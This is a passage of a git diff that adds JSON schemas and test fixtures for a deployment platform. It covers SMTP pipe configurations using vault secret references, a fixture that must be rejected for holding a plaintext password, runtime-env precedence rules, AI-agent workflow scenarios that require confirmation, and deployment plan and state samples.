+                "format": "date-time"
+              },
+              "endDate": {
+                "type": ["string", "null"],
+                "format": "date-time"
+              },
+              "bucket": {
+                "type": "string",
+                "enum": ["day", "week", "month", "all"]
+              }
+            },
+            "additionalProperties": false
+          },
+          "summary": {
+            "type": "object",
+            "required": [
+              "totalViews",
+              "totalDeployments",
+              "conversionRate",
+              "publishedTemplates",
+              "topCloud",
+              "topTemplateId"
+            ],
+            "properties": {
+              "totalViews": { "type": "integer", "minimum": 0 },
+              "totalDeployments": { "type": "integer", "minimum": 0 },
+              "conversionRate": {
+                "type": "number",
+                "minimum": 0,
+                "description": "Deployment conversion percentage from views to deployments."
+              },
+              "publishedTemplates": { "type": "integer", "minimum": 0 },
+              "topCloud": { "type": ["string", "null"] },
+              "topTemplateId": { "type": ["string", "null"], "format": "uuid" }
+            },
+            "additionalProperties": false
+          },
+          "viewsSeries": {
+            "type": "array",
+            "items": {
+              "type": "object",
+              "required": ["bucketStart", "bucketEnd", "count"],
+              "properties": {
+                "bucketStart": {
+                  "type": ["string", "null"],
+                  "format": "date-time"
+                },
+                "bucketEnd": {
+                  "type": ["string", "null"],
+                  "format": "date-time"
+                },
+                "count": { "type": "integer", "minimum": 0 }
+              },
+              "additionalProperties": false
+            }
+          },
+          "deploymentsSeries": {
+            "type": "array",
+            "items": {
+              "type": "object",
+              "required": ["bucketStart", "bucketEnd", "count"],
+              "properties": {
+                "bucketStart": {
+                  "type": ["string", "null"],
+                  "format": "date-time"
+                },
+                "bucketEnd": {
+                  "type": ["string", "null"],
+                  "format": "date-time"
+                },
+                "count": { "type": "integer", "minimum": 0 }
+              },
+              "additionalProperties": false
+            }
+          },
+          "cloudBreakdown": {
+            "type": "array",
+            "items": {
+              "type": "object",
+              "required": ["cloudProvider", "deployments", "percentage"],
+              "properties": {
+                "cloudProvider": {
+                  "type": "string",
+                  "description": "Normalized cloud provider code, e.g. hetzner, digitalocean, aws, linode."
+                },
+                "deployments": { "type": "integer", "minimum": 0 },
+                "percentage": { "type": "number", "minimum": 0, "maximum": 100 }
+              },
+              "additionalProperties": false
+            }
+          },
+          "topTemplates": {
+            "type": "array",
+            "items": {
+              "type": "object",
+              "required": [
+                "templateId",
+                "slug",
+                "name",
+                "views",
+                "deployments",
+                "conversionRate"
+              ],
+              "properties": {
+                "templateId": { "type": "string", "format": "uuid" },
+                "productId": { "type": ["integer", "null"] },
+                "slug": { "type": "string" },
+                "name": { "type": "string" },
+                "views": { "type": "integer", "minimum": 0 },
+                "deployments": { "type": "integer", "minimum": 0 },
+                "conversionRate": { "type": "number", "minimum": 0 },
+                "price": { "type": ["number", "null"] },
+                "currency": { "type": ["string", "null"], "maxLength": 3 },
+                "billingCycle": {
+                  "type": ["string", "null"],
+                  "enum": ["one_time", "monthly", "yearly", null]
+                }
+              },
+              "additionalProperties": false
+            }
+          },
+          "templates": {
+            "type": "array",
+            "items": {
+              "type": "object",
+              "required": [
+                "templateId",
+                "creatorUserId",
+                "slug",
+                "name",
+                "status",
+                "views",
+                "deployments"
+              ],
+              "properties": {
+                "templateId": { "type": "string", "format": "uuid" },
+                "creatorUserId": { "type": "string" },
+                "productId": { "type": ["integer", "null"] },
+                "slug": { "type": "string" },
+                "name": { "type": "string" },
+                "status": { "type": "string" },
+                "categoryCode": { "type": ["string", "null"] },
+                "views": { "type": "integer", "minimum": 0 },
+                "deployments": { "type": "integer", "minimum": 0 },
+                "conversionRate": { "type": "number", "minimum": 0 },
+                "approvedAt": {
+                  "type": ["string", "null"],
+                  "format": "date-time"
+                },
+                "updatedAt": {
+                  "type": ["string", "null"],
+                  "format": "date-time"
+                }
+              },
+              "additionalProperties": false
+            }
+          }
+        },
+        "additionalProperties": false
+      },
+      "emptyResponse": {
+        "creatorId": "",
+        "period": {
+          "key": "30d",
+          "startDate": null,
+          "endDate": null,
+          "bucket": "day"
+        },
+        "summary": {
+          "totalViews": 0,
+          "totalDeployments": 0,
+          "conversionRate": 0,
+          "publishedTemplates": 0,
+          "topCloud": null,
+          "topTemplateId": null
+        },
+        "viewsSeries": [],
+        "deploymentsSeries": [],
+        "cloudBreakdown": [],
+        "topTemplates": [],
+        "templates": []
+      }
+    }
+  }
+}
diff --git a/tests/contracts/pipe-contract/local_pipe.smtp_adapter.secret_ref.v1.json b/tests/contracts/pipe-contract/local_pipe.smtp_adapter.secret_ref.v1.json
new file mode 100644
index 00000000..75a62356
--- /dev/null
+++ b/tests/contracts/pipe-contract/local_pipe.smtp_adapter.secret_ref.v1.json
@@ -0,0 +1,110 @@
+{
+  "schema_version": 1,
+  "id": "status-panel-web-to-smtp-secret-ref",
+  "name": "status-panel-web-to-smtp-secret-ref",
+  "created_at": "2026-05-22T10:05:00Z",
+  "updated_at": "2026-05-22T10:05:00Z",
+  "status": "draft",
+  "source": {
+    "selector": "status-panel-web",
+    "container": "status-panel-web",
+    "method": "POST",
+    "path": "/contact",
+    "fields": ["name", "email", "subject", "message"]
+  },
+  "target": {
+    "selector": "smtp",
+    "adapter": {
+      "code": "smtp",
+      "role": "target",
+      "config": {
+        "host": "smtp",
+        "port": 587,
+        "username": {
+          "secret_ref": {
+            "scope": "service",
+            "service": "smtp",
+            "name": "SMTP_USERNAME",
+            "source": "vault"
+          }
+        },
+        "password": {
+          "secret_ref": {
+            "scope": "service",
+            "service": "smtp",
+            "name": "SMTP_PASSWORD",
+            "source": "vault"
+          }
+        },
+        "from": "info@stacker.my",
+        "to": ["info@optimum-web.com"],
+        "tls": true
+      }
+    },
+    "method": "SEND",
+    "path": "adapter:smtp",
+    "fields": ["from_email", "reply_to_email", "subject", "body_text", "body_html"]
+  },
+  "template": {
+    "description": "POST /contact → SEND adapter:smtp",
+    "source_app_type": "status-panel-web",
+    "source_endpoint": {
+      "path": "/contact",
+      "method": "POST"
+    },
+    "target_app_type": "smtp",
+    "target_endpoint": {
+      "mode": "adapter",
+      "adapter": "smtp",
+      "display_name": "SMTP target"
+    },
+    "field_mapping": {
+      "from_email": "$.email",
+      "subject": "$.subject",
+      "body_text": "$.message"
+    },
+    "config": {
+      "retry_count": 3
+    },
+    "is_public": false
+  },
+  "instance": {
+    "source_container": "status-panel-web",
+    "target_adapter": {
+      "code": "smtp",
+      "role": "target",
+      "config": {
+        "host": "smtp",
+        "port": 587,
+        "username": {
+          "secret_ref": {
+            "scope": "service",
+            "service": "smtp",
+            "name": "SMTP_USERNAME",
+            "source": "vault"
+          }
+        },
+        "password": {
+          "secret_ref": {
+            "scope": "service",
+            "service": "smtp",
+            "name": "SMTP_PASSWORD",
+            "source": "vault"
+          }
+        },
+        "from": "info@stacker.my",
+        "to": ["info@optimum-web.com"],
+        "tls": true
+      }
+    },
+    "trigger_count": 0,
+    "error_count": 0
+  },
+  "promotion": {},
+  "diagnostics": {
+    "notes": [
+      "source discovery: cached result (protocols: html_forms,openapi,rest, capture_samples: true)",
+      "target adapter: SMTP target (smtp)"
+    ]
+  }
+}
diff --git a/tests/contracts/pipe-contract/local_pipe.smtp_adapter.v1.json b/tests/contracts/pipe-contract/local_pipe.smtp_adapter.v1.json
new file mode 100644
index 00000000..e7d8c30a
--- /dev/null
+++ b/tests/contracts/pipe-contract/local_pipe.smtp_adapter.v1.json
@@ -0,0 +1,78 @@
+{
+  "schema_version": 1,
+  "id": "status-panel-web-to-smtp",
+  "name": "status-panel-web-to-smtp",
+  "created_at": "2026-05-22T10:00:00Z",
+  "updated_at": "2026-05-22T10:00:00Z",
+  "status": "draft",
+  "source": {
+    "selector": "status-panel-web",
+    "container": "status-panel-web",
+    "method": "POST",
+    "path": "/contact",
+    "fields": ["name", "email", "subject", "message"]
+  },
+  "target": {
+    "selector": "smtp",
+    "adapter": {
+      "code": "smtp",
+      "role": "target",
+      "config": {
+        "host": "smtp",
+        "port": 1025,
+        "from": "info@stacker.my",
+        "to": ["info@optimum-web.com"],
+        "tls": false
+      }
+    },
+    "method": "SEND",
+    "path": "adapter:smtp",
+    "fields": ["from_email", "reply_to_email", "subject", "body_text", "body_html"]
+  },
+  "template": {
+    "description": "POST /contact → SEND adapter:smtp",
+    "source_app_type": "status-panel-web",
+    "source_endpoint": {
+      "path": "/contact",
+      "method": "POST"
+    },
+    "target_app_type": "smtp",
+    "target_endpoint": {
+      "mode": "adapter",
+      "adapter": "smtp",
+      "display_name": "SMTP target"
+    },
+    "field_mapping": {
+      "from_email": "$.email",
+      "subject": "$.subject",
+      "body_text": "$.message"
+    },
+    "config": {
+      "retry_count": 3
+    },
+    "is_public": false
+  },
+  "instance": {
+    "source_container": "status-panel-web",
+    "target_adapter": {
+      "code": "smtp",
+      "role": "target",
+      "config": {
+        "host": "smtp",
+        "port": 1025,
+        "from": "info@stacker.my",
+        "to": ["info@optimum-web.com"],
+        "tls": false
+      }
+    },
+    "trigger_count": 0,
+    "error_count": 0
+  },
+  "promotion": {},
+  "diagnostics": {
+    "notes": [
+      "source discovery: fresh result (protocols: html_forms,openapi,rest, capture_samples: true)",
+      "target adapter: SMTP target (smtp)"
+    ]
+  }
+}
diff --git a/tests/contracts/pipe-contract/remote_pipe.promote.smtp_adapter.request.json b/tests/contracts/pipe-contract/remote_pipe.promote.smtp_adapter.request.json
new file mode 100644
index 00000000..d2d2a9b9
--- /dev/null
+++ b/tests/contracts/pipe-contract/remote_pipe.promote.smtp_adapter.request.json
@@ -0,0 +1,42 @@
+{
+  "template_request": {
+    "name": "status-panel-web-to-smtp",
+    "description": "POST /contact → SEND adapter:smtp",
+    "source_app_type": "status-panel-web",
+    "source_endpoint": {
+      "path": "/contact",
+      "method": "POST"
+    },
+    "target_app_type": "smtp",
+    "target_endpoint": {
+      "mode": "adapter",
+      "adapter": "smtp",
+      "display_name": "SMTP target"
+    },
+    "field_mapping": {
+      "from_email": "$.email",
+      "subject": "$.subject",
+      "body_text": "$.message"
+    },
+    "config": {
+      "retry_count": 3
+    },
+    "is_public": false
+  },
+  "instance_request": {
+    "deployment_hash": "dep-20260522",
+    "source_container": "status-panel-web",
+    "target_adapter": {
+      "code": "smtp",
+      "role": "target",
+      "config": {
+        "host": "smtp",
+        "port": 1025,
+        "from": "info@stacker.my",
+        "to": ["info@optimum-web.com"],
+        "tls": false
+      }
+    },
+    "template_id": "tpl-remote-smtp"
+  }
+}
diff --git a/tests/contracts/pipe-contract/remote_pipe.secret_ref.rejected_plaintext.json b/tests/contracts/pipe-contract/remote_pipe.secret_ref.rejected_plaintext.json
new file mode 100644
index 00000000..39a5f8d2
--- /dev/null
+++ b/tests/contracts/pipe-contract/remote_pipe.secret_ref.rejected_plaintext.json
@@ -0,0 +1,72 @@
+{
+  "expected_error_contains": "Sensitive adapter config 'target_adapter.config.password' must use a secret reference instead of a plaintext value",
+  "pipe": {
+    "schema_version": 1,
+    "id": "status-panel-web-to-smtp-plaintext",
+    "name": "status-panel-web-to-smtp-plaintext",
+    "created_at": "2026-05-22T10:10:00Z",
+    "updated_at": "2026-05-22T10:10:00Z",
+    "status": "draft",
+    "source": {
+      "selector": "status-panel-web",
+      "container": "status-panel-web",
+      "method": "POST",
+      "path": "/contact",
+      "fields": ["name", "email", "subject", "message"]
+    },
+    "target": {
+      "selector": "smtp",
+      "adapter": {
+        "code": "smtp",
+        "role": "target",
+        "config": {
+          "host": "smtp",
+          "password": "super-secret"
+        }
+      },
+      "method": "SEND",
+      "path": "adapter:smtp",
+      "fields": ["from_email", "reply_to_email", "subject", "body_text", "body_html"]
+    },
+    "template": {
+      "description": "POST /contact → SEND adapter:smtp",
+      "source_app_type": "status-panel-web",
+      "source_endpoint": {
+        "path": "/contact",
+        "method": "POST"
+      },
+      "target_app_type": "smtp",
+      "target_endpoint": {
+        "mode": "adapter",
+        "adapter": "smtp",
+        "display_name": "SMTP target"
+      },
+      "field_mapping": {
+        "from_email": "$.email",
+        "subject": "$.subject",
+        "body_text": "$.message"
+      },
+      "config": {
+        "retry_count": 3
+      },
+      "is_public": false
+    },
+    "instance": {
+      "source_container": "status-panel-web",
+      "target_adapter": {
+        "code": "smtp",
+        "role": "target",
+        "config": {
+          "host": "smtp",
+          "password": "super-secret"
+        }
+      },
+      "trigger_count": 0,
+      "error_count": 0
+    },
+    "promotion": {},
+    "diagnostics": {
+      "notes": ["negative fixture for plaintext secret rejection"]
+    }
+  }
+}
diff --git a/tests/contracts/pipe-contract/remote_pipe.trigger.smtp_adapter.report.json b/tests/contracts/pipe-contract/remote_pipe.trigger.smtp_adapter.report.json
new file mode 100644
index 00000000..3582d30c
--- /dev/null
+++ b/tests/contracts/pipe-contract/remote_pipe.trigger.smtp_adapter.report.json
@@ -0,0 +1,42 @@
+{
+  "type": "trigger_pipe",
+  "deployment_hash": "dep-123",
+  "pipe_instance_id": "pipe-adapter-1",
+  "success": true,
+  "source_data": {
+    "subject": "Incident opened",
+    "body": {
+      "text": "CPU usage exceeded threshold"
+    }
+  },
+  "mapped_data": {
+    "subject": "Incident opened",
+    "body_text": "CPU usage exceeded threshold"
+  },
+  "target_response": {
+    "transport": "smtp",
+    "adapter": "smtp",
+    "status": null,
+    "delivered": true,
+    "body": {
+      "host": "smtp.example.com",
+      "port": 587,
+      "tls": true,
+      "subject": "Incident opened",
+      "to": ["ops@example.com"],
+      "from": "alerts@example.com",
+      "message_id": "msg-123",
+      "accepted_recipients": 1
+    }
+  },
+  "triggered_at": "2026-05-22T08:00:00Z",
+  "trigger_type": "manual",
+  "lifecycle": {
+    "state": "active",
+    "activated_at": "2026-05-22T07:59:00Z",
+    "last_triggered_at": "2026-05-22T08:00:00Z",
+    "last_error": null,
+    "trigger_count": 1,
+    "last_updated_at": "2026-05-22T08:00:00Z"
+  }
+}
diff --git a/tests/contracts/runtime-env-contract.contract.json b/tests/contracts/runtime-env-contract.contract.json
new file mode 100644
index 00000000..62c1aecc
--- /dev/null
+++ b/tests/contracts/runtime-env-contract.contract.json
@@ -0,0 +1,56 @@
+{
+  "$schema": "http://json-schema.org/draft-07/schema#",
+  "title": "runtime-env-contract",
+  "description": "Canonical runtime environment precedence contract shared across Stacker and downstream consumers.",
+  "_owner": "trydirect/config",
+  "_consumers": [
+    "stacker",
+    "status",
+    "try.direct.admin.frontend"
+  ],
+  "_notes": [
+    "Rendered runtime env payloads and inspection outputs must use these exact layer names and precedence values.",
+    "Clients must treat higher precedence layers as authoritative when the same key exists in multiple layers.",
+    "Inspection/help surfaces should expose the shared contract version and order instead of rewording the precedence rules independently."
+  ],
+  "version": "v1",
+  "order": "lowest_to_highest",
+  "layers": [
+    {
+      "name": "base",
+      "precedence": 1,
+      "appliesWhen": "Always",
+      "description": "App env and local authoring inputs provide the base runtime layer."
+    },
+    {
+      "name": "server",
+      "precedence": 2,
+      "appliesWhen": "Only when inherit_server_secrets=true",
+      "description": "Server-scope secrets overlay the base layer when the target opts in."
+    },
+    {
+      "name": "service",
+      "precedence": 3,
+      "appliesWhen": "When remote service secrets exist for the selected service/app target",
+      "description": "Service-scope secrets override lower layers for the selected target."
+    },
+    {
+      "name": "compose",
+      "precedence": 4,
+      "appliesWhen": "When the compose service defines environment: keys",
+      "description": "Compose environment keys win over env_file-derived layers at runtime."
+    }
+  ],
+  "inspectionOutputs": {
+    "runtimeEnvContractField": "runtime_env_contract",
+    "surfaces": [
+      "stacker REST app env/config reads",
+      "stacker MCP get_app_env_vars/get_app_config",
+      "stacker-cli config show --resolved"
+    ],
+    "remoteSecretMetadata": {
+      "source": "vault",
+      "secure": true
+    }
+  }
+}
diff --git a/tests/contracts/stacker-ai-workflows.v1alpha1.json b/tests/contracts/stacker-ai-workflows.v1alpha1.json
new file mode 100644
index 00000000..5de3c513
--- /dev/null
+++ b/tests/contracts/stacker-ai-workflows.v1alpha1.json
@@ -0,0 +1,64 @@
+{
+  "title": "stacker-ai-workflows-v1alpha1",
+  "_owner": "stacker",
+  "version": "v1alpha1",
+  "description": "Canonical agent evaluation scenarios for AI-facing deployment workflows.",
+  "workflows": [
+    {
+      "name": "inspect-explain-plan-apply",
+      "goal": "Safely inspect a deployment, explain topology, preview a change, and apply it with confirmation.",
+      "steps": [
+        {
+          "tool": "get_deployment_state",
+          "purpose": "Inspect health, drift, app inventory, and the latest command state."
+        },
+        {
+          "tool": "explain_topology",
+          "purpose": "Explain runtime compose and env paths without exposing secret values."
+        },
+        {
+          "tool": "get_deployment_plan",
+          "purpose": "Preview the mutation and capture a stale-plan fingerprint."
+        },
+        {
+          "tool": "apply_deployment_plan",
+          "purpose": "Apply the previewed plan after explicit confirmation.",
+          "confirmRequired": true,
+          "requiresFingerprint": true,
+          "requiresMfa": true
+        }
+      ]
+    },
+    {
+      "name": "recover-with-rollback",
+      "goal": "Read failure signals, preview a rollback, apply it, and confirm recovery.",
+      "steps": [
+        {
+          "tool": "get_deployment_state",
+          "purpose": "Confirm failing state or unexpected drift before rollback."
+        },
+        {
+          "tool": "get_deployment_events",
+          "purpose": "Read remediation hints and recent command failures."
+        },
+        {
+          "tool": "get_deployment_plan",
+          "purpose": "Preview rollback_deploy with previous or explicit target version.",
+          "operation": "rollback_deploy"
+        },
+        {
+          "tool": "apply_deployment_plan",
+          "purpose": "Apply the rollback after explicit confirmation.",
+          "operation": "rollback_deploy",
+          "confirmRequired": true,
+          "requiresFingerprint": true,
+          "requiresMfa": true
+        },
+        {
+          "tool": "get_deployment_events",
+          "purpose": "Observe recovery progress after rollback."
+        }
+      ]
+    }
+  ]
+}
diff --git a/tests/contracts/stacker-deploy-plan.v1alpha1.contract.json b/tests/contracts/stacker-deploy-plan.v1alpha1.contract.json
new file mode 100644
index 00000000..cd751693
--- /dev/null
+++ b/tests/contracts/stacker-deploy-plan.v1alpha1.contract.json
@@ -0,0 +1,30 @@
+{
+  "title": "stacker-deploy-plan-v1alpha1",
+  "_owner": "stacker",
+  "version": "v1alpha1",
+  "response": {
+    "type": "object",
+    "required": [
+      "schemaVersion",
+      "deploymentHash",
+      "operation",
+      "target",
+      "fingerprint",
+      "scope",
+      "hasChanges",
+      "actions",
+      "reasoning"
+    ],
+    "properties": {
+      "schemaVersion": { "type": "string", "const": "v1alpha1" },
+      "deploymentHash": { "type": "string" },
+      "operation": { "type": "string" },
+      "target": { "type": "string" },
+      "fingerprint": { "type": "string" },
+      "scope": { "type": "object" },
+      "hasChanges": { "type": "boolean" },
+      "actions": { "type": "array" },
+      "reasoning": { "type": "array" }
+    }
+  }
+}
diff --git a/tests/contracts/stacker-deploy-plan.v1alpha1.deploy-app.json b/tests/contracts/stacker-deploy-plan.v1alpha1.deploy-app.json
new file mode 100644
index 00000000..30e55ff7
--- /dev/null
+++ b/tests/contracts/stacker-deploy-plan.v1alpha1.deploy-app.json
@@ -0,0 +1,24 @@
+{
+  "schemaVersion": "v1alpha1",
+  "deploymentHash": "deployment_state_online",
+  "operation": "deploy_app",
+  "target": "cloud",
+  "fingerprint": "plan-deploy-app",
+  "scope": {
+    "mode": "app",
+    "appCode": "upload",
+    "selectedApps": ["upload"]
+  },
+  "hasChanges": true,
+  "actions": [
+    {
+      "kind": "redeploy_app",
+      "target": "app",
+      "appCode": "upload",
+      "reason": "explicit deploy-app plan targets a single app"
+    }
+  ],
+  "reasoning": [
+    "deploy-app scope is restricted to the requested app"
+  ]
+}
diff --git a/tests/contracts/stacker-deploy-plan.v1alpha1.env-drift.json b/tests/contracts/stacker-deploy-plan.v1alpha1.env-drift.json
new file mode 100644
index 00000000..9cd6f7cf
--- /dev/null
+++ b/tests/contracts/stacker-deploy-plan.v1alpha1.env-drift.json
@@ -0,0 +1,29 @@
+{
+  "schemaVersion": "v1alpha1",
+  "deploymentHash": "deployment_state_online",
+  "operation": "deploy",
+  "target": "cloud",
+  "fingerprint": "plan-env-drift",
+  "scope": {
+    "mode": "deployment",
+    "selectedApps": ["device-api", "upload"]
+  },
+  "hasChanges": true,
+  "actions": [
+    {
+      "kind": "reconcile_runtime_env",
+      "target": "deployment",
+      "reason": "runtime env drift detected"
+    },
+    {
+      "kind": "sync_app_config",
+      "target": "app",
+      "appCode": "upload",
+      "reason": "app config version is ahead of the synced Vault/runtime version"
+    }
+  ],
+  "reasoning": [
+    "deployment drift requires runtime env reconciliation before apply",
+    "at least one selected app has unsynced config changes"
+  ]
+}
diff --git a/tests/contracts/stacker-deploy-plan.v1alpha1.no-changes.json b/tests/contracts/stacker-deploy-plan.v1alpha1.no-changes.json
new file mode 100644
index 00000000..fb0e61da
--- /dev/null
+++ b/tests/contracts/stacker-deploy-plan.v1alpha1.no-changes.json
@@ -0,0 +1,17 @@
+{
+  "schemaVersion": "v1alpha1",
+  "deploymentHash": "deployment_state_online",
+  "operation": "deploy",
+  "target": "cloud",
+  "fingerprint": "plan-no-changes",
+  "scope": {
+    "mode": "deployment",
+    "selectedApps": ["device-api", "upload"]
+  },
+  "hasChanges": false,
+  "actions": [],
+  "reasoning": [
+    "no drift detected for the selected scope",
+    "all selected apps are already synced with their current config versions"
+  ]
+}
diff --git a/tests/contracts/stacker-deploy-plan.v1alpha1.rollback-previous.json b/tests/contracts/stacker-deploy-plan.v1alpha1.rollback-previous.json
new file mode 100644
index 00000000..e5504d78
--- /dev/null
+++ b/tests/contracts/stacker-deploy-plan.v1alpha1.rollback-previous.json
@@ -0,0 +1,28 @@
+{
+  "schemaVersion": "v1alpha1",
+  "deploymentHash": "deployment_state_online",
+  "operation": "rollback_deploy",
+  "target": "cloud",
+  "fingerprint": "plan-rollback-previous",
+  "scope": {
+    "mode": "deployment",
+    "selectedApps": ["device-api", "upload"]
+  },
+  "hasChanges": true,
+  "actions": [
+    {
+      "kind": "rollback_deploy",
+      "target": "deployment",
+      "reason": "rollback preview targets marketplace template version 1.1.0"
+    }
+  ],
+  "reasoning": [
+    "rollback preview resolved requested target 'previous' to template version 1.1.0",
+    "current deployment template version is 1.2.0"
+  ],
+  "rollback": {
+    "requestedTarget": "previous",
+    "currentVersion": "1.2.0",
+    "resolvedVersion": "1.1.0"
+  }
+}
diff --git a/tests/contracts/stacker-deployment-events.v1alpha1.contract.json b/tests/contracts/stacker-deployment-events.v1alpha1.contract.json
new file mode 100644
index 00000000..45fd5faf
--- /dev/null
+++ b/tests/contracts/stacker-deployment-events.v1alpha1.contract.json
@@ -0,0 +1,42 @@
+{
+  "title": "stacker-deployment-events-v1alpha1",
+  "_owner": "stacker",
+  "version": "v1alpha1",
+  "response": {
+    "type": "object",
+    "required": [
+      "schemaVersion",
+      "deploymentHash",
+      "events"
+    ],
+    "properties": {
+      "schemaVersion": { "type": "string", "const": "v1alpha1" },
+      "deploymentHash": { "type": "string" },
+      "events": {
+        "type": "array",
+        "items": {
+          "type": "object",
+          "required": [
+            "sequence",
+            "kind",
+            "classification",
+            "occurredAt",
+            "summary"
+          ],
+          "properties": {
+            "sequence": { "type": "integer" },
+            "kind": { "type": "string" },
+            "classification": { "type": "string" },
+            "occurredAt": { "type": "string", "format": "date-time" },
+            "summary": { "type": "string" },
+            "commandId": { "type": "string" },
+            "commandType": { "type": "string" },
+            "status": { "type": "string" },
+            "retryable": { "type": "boolean" },
+            "remediationClass": { "type": "string" }
+          }
+        }
+      }
+    }
+  }
+}
diff --git a/tests/contracts/stacker-deployment-events.v1alpha1.sample.json b/tests/contracts/stacker-deployment-events.v1alpha1.sample.json
new file mode 100644
index 00000000..19e436f2
--- /dev/null
+++ b/tests/contracts/stacker-deployment-events.v1alpha1.sample.json
@@ -0,0 +1,34 @@
+{
+  "schemaVersion": "v1alpha1",
+  "deploymentHash": "deployment_events_online",
+  "events": [
+    {
+      "sequence": 1,
+      "kind": "command_queued",
+      "classification": "info",
+      "occurredAt": "2026-05-17T08:00:00Z",
+      "summary": "deploy_app queued",
+      "commandId": "cmd-1",
+      "commandType": "deploy_app",
+      "status": "queued"
+    },
+    {
+      "sequence": 2,
+      "kind": "command_completed",
+      "classification": "success",
+      "occurredAt": "2026-05-17T08:05:00Z",
+      "summary": "upload redeployed",
+      "commandId": "cmd-1",
+      "commandType": "deploy_app",
+      "status": "completed"
+    },
+    {
+      "sequence": 3,
+      "kind": "deployment_status",
+      "classification": "progress",
+      "occurredAt": "2026-05-17T08:06:00Z",
+      "summary": "Provisioning server",
+      "status": "in_progress"
+    }
+  ]
+}
diff --git a/tests/contracts/stacker-deployment-state.v1alpha1.contract.json b/tests/contracts/stacker-deployment-state.v1alpha1.contract.json
new file mode 100644
index 00000000..28a6d9c0
--- /dev/null
+++ b/tests/contracts/stacker-deployment-state.v1alpha1.contract.json
@@ -0,0 +1,131 @@
+{
+  "$schema": "http://json-schema.org/draft-07/schema#",
+  "title": "stacker-deployment-state-v1alpha1",
+  "description": "Canonical read-only deployment state contract for AI, CLI, API, and MCP consumers.",
+  "_owner": "stacker",
+  "_consumers": ["stacker", "status", "mcp", "ai-clients"],
+  "endpoint": {
+    "method": "GET",
+    "path": "/api/v1/deployments/{deployment_hash}/state",
+    "auth": "OAuth Bearer (deployment owner only)"
+  },
+  "response": {
+    "type": "object",
+    "required": [
+      "schemaVersion",
+      "project",
+      "deployment",
+      "agent",
+      "runtime",
+      "apps",
+      "drift"
+    ],
+    "properties": {
+      "schemaVersion": {
+        "type": "string",
+        "enum": ["v1alpha1"]
+      },
+      "project": {
+        "type": "object",
+        "required": ["id", "identity", "name"],
+        "properties": {
+          "id": { "type": "integer" },
+          "identity": { "type": "string" },
+          "name": { "type": "string" }
+        }
+      },
+      "deployment": {
+        "type": "object",
+        "required": ["id", "deploymentHash", "status", "runtime"],
+        "properties": {
+          "id": { "type": "integer" },
+          "deploymentHash": { "type": "string" },
+          "status": { "type": "string" },
+          "runtime": { "type": "string" }
+        }
+      },
+      "agent": {
+        "type": "object",
+        "required": ["status", "capabilities", "features"],
+        "properties": {
+          "id": { "type": "string" },
+          "status": { "type": "string" },
+          "version": { "type": "string" },
+          "lastHeartbeat": { "type": "string", "format": "date-time" },
+          "capabilities": {
+            "type": "array",
+            "items": { "type": "string" }
+          },
+          "features": {
+            "type": "object",
+            "required": [
+              "compose",
+              "kataRuntime",
+              "backup",
+              "pipes",
+              "proxyCredentialsVault"
+            ],
+            "properties": {
+              "compose": { "type": "boolean" },
+              "kataRuntime": { "type": "boolean" },
+              "backup": { "type": "boolean" },
+              "pipes": { "type": "boolean" },
+              "proxyCredentialsVault": { "type": "boolean" }
+            }
+          }
+        }
+      },
+      "runtime": {
+        "type": "object",
+        "required": ["composePath", "envPath"],
+        "properties": {
+          "composePath": { "type": "string" },
+          "envPath": { "type": "string" }
+        }
+      },
+      "apps": {
+        "type": "array",
+        "items": {
+          "type": "object",
+          "required": [
+            "code",
+            "name",
+            "enabled",
+            "configVersion",
+            "vaultSyncVersion"
+          ],
+          "properties": {
+            "code": { "type": "string" },
+            "name": { "type": "string" },
+            "enabled": { "type": "boolean" },
+            "configVersion": { "type": "integer" },
+            "vaultSyncVersion": { "type": "integer" },
+            "configHash": { "type": "string" }
+          }
+        }
+      },
+      "drift": {
+        "type": "object",
+        "required": ["hasDrift", "summary"],
+        "properties": {
+          "hasDrift": { "type": "boolean" },
+          "summary": { "type": "string" }
+        }
+      },
+      "lastCommand": {
+        "type": "object",
+        "required": ["type", "status"],
+        "properties": {
+          "type": { "type": "string" },
+          "status": { "type": "string" },
+          "finishedAt": { "type": "string", "format": "date-time" }
+        }
+      }
+    }
+  },
+  "_notes": [
+    "Secret values must never appear in this payload.",
+    "Paths and hashes are allowed; environment key/value pairs are not.",
+    "Consumers should tolerate missing optional objects such as lastCommand."
+  ]
+}
diff --git a/tests/contracts/stacker-deployment-state.v1alpha1.offline.json b/tests/contracts/stacker-deployment-state.v1alpha1.offline.json
new file mode 100644
index 00000000..3f107161
--- /dev/null
+++ b/tests/contracts/stacker-deployment-state.v1alpha1.offline.json
@@ -0,0 +1,34 @@
+{
+  "schemaVersion": "v1alpha1",
+  "project": {
+    "id": 18,
+    "identity": "offline-demo",
+    "name": "Offline Demo"
+  },
+  "deployment": {
+    "id": 32,
+    "deploymentHash": "deployment_state_offline",
+    "status": "pending",
+    "runtime": "runc"
+  },
+  "agent": {
+    "status": "offline",
+    "capabilities": [],
+    "features": {
+      "compose": false,
+      "kataRuntime": false,
+      "backup": false,
+      "pipes": false,
+      "proxyCredentialsVault": false
+    }
+  },
+  "runtime": {
+    "composePath": "/home/trydirect/project/docker-compose.yml",
+    "envPath": "/home/trydirect/project/.env"
+  },
+  "apps": [],
+  "drift": {
+    "hasDrift": false,
+    "summary": "no drift detected"
+  }
+}
diff --git a/tests/contracts/stacker-deployment-state.v1alpha1.online.json b/tests/contracts/stacker-deployment-state.v1alpha1.online.json
new file mode 100644
index 00000000..b59cf9be
--- /dev/null
+++ b/tests/contracts/stacker-deployment-state.v1alpha1.online.json
@@ -0,0 +1,59 @@
+{
+  "schemaVersion": "v1alpha1",
+  "project": {
+    "id": 17,
+    "identity": "syncopia",
+    "name": "Syncopia"
+  },
+  "deployment": {
+    "id": 31,
+    "deploymentHash": "deployment_state_online",
+    "status": "healthy",
+    "runtime": "runc"
+  },
+  "agent": {
+    "id": "89f4c7dd-f41c-4f43-ae0d-e164d8f2f77d",
+    "status": "online",
+    "version": "0.1.9",
+    "lastHeartbeat": "2026-05-17T08:00:00Z",
+    "capabilities": ["docker", "compose", "logs"],
+    "features": {
+      "compose": true,
+      "kataRuntime": false,
+      "backup": false,
+      "pipes": false,
+      "proxyCredentialsVault": true
+    }
+  },
+  "runtime": {
+    "composePath": "/home/trydirect/project/docker-compose.yml",
+    "envPath": "/home/trydirect/project/.env"
+  },
+  "apps": [
+    {
+      "code": "device-api",
+      "name": "Device API",
+      "enabled": true,
+      "configVersion": 3,
+      "vaultSyncVersion": 3,
+      "configHash": "cfg-device-api"
+    },
+    {
+      "code": "upload",
+      "name": "Upload",
+      "enabled": true,
+      "configVersion": 2,
+      "vaultSyncVersion": 2,
